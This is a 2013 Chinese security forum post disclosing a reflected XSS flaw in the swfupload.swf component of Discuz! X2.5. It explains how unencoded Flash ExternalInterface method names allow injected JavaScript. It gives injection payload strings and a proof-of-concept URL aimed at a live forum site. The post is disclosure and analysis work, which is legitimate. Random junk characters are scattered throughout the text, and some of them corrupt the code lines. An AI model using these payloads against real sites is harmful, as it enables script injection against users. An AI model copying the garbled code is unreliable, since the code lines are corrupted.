找回密码
 立即注册
查看: 2775|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
9 g/ U- z& w6 y/ N" \# O  b
/ F( {0 T0 C# Y( B2 l  a9 Fflash.external.ExternalInterface.call($methodName, $parameter). e% O% n* U5 K6 Q7 O8 C" i
在浏览器中执行的是$ I* C5 B+ Y) O

3 a, N8 L0 ?2 g' p5 M* n8 l* s7 itry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
0 E. j3 b  |" Z% I# D4 G对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如% Y8 z3 V6 c' w9 `+ h7 ?

7 ]0 H9 s0 R# Tflash.external.ExternalInterface.call("object."+$methodName, $parameter)" s% O  q4 c6 x7 y& Q- V
$methodName = a())}catch(e){alert(/xss/)}//
, l  D2 {0 G1 u7 v/ w( N结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。; f, G9 _# _0 a5 X- r
* X8 F7 |: W) e: y! q8 I, J6 j
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
" R/ f( V2 y' T$ g3 S: _1 Q4 B, r" O, {& q, d- S9 P, X" c
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )6 f9 j' ^: s3 S; M& n8 r
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。* T2 j( a" a* n- A, C

# s0 }0 e9 r1 c- U8 z
5 y2 r4 C$ V& V6 i1 h- S( \( B( {2 ?% I% c
漏洞文件:upload\static\image\common\swfupload.swf1 P* o% D0 L* g
6 j' i" l) r: F6 B/ D3 B3 q* v
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
, i. }: I+ L$ b$ Y) |# q5 G. d/ d5 w2 H+ h. _# m6 G) x8 S9 L

, D+ x7 Z4 d" m漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//" W) G0 W! f1 ^
6 M  s9 u! }+ W% H" M* W
, L/ B) U* t* d1 A+ _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表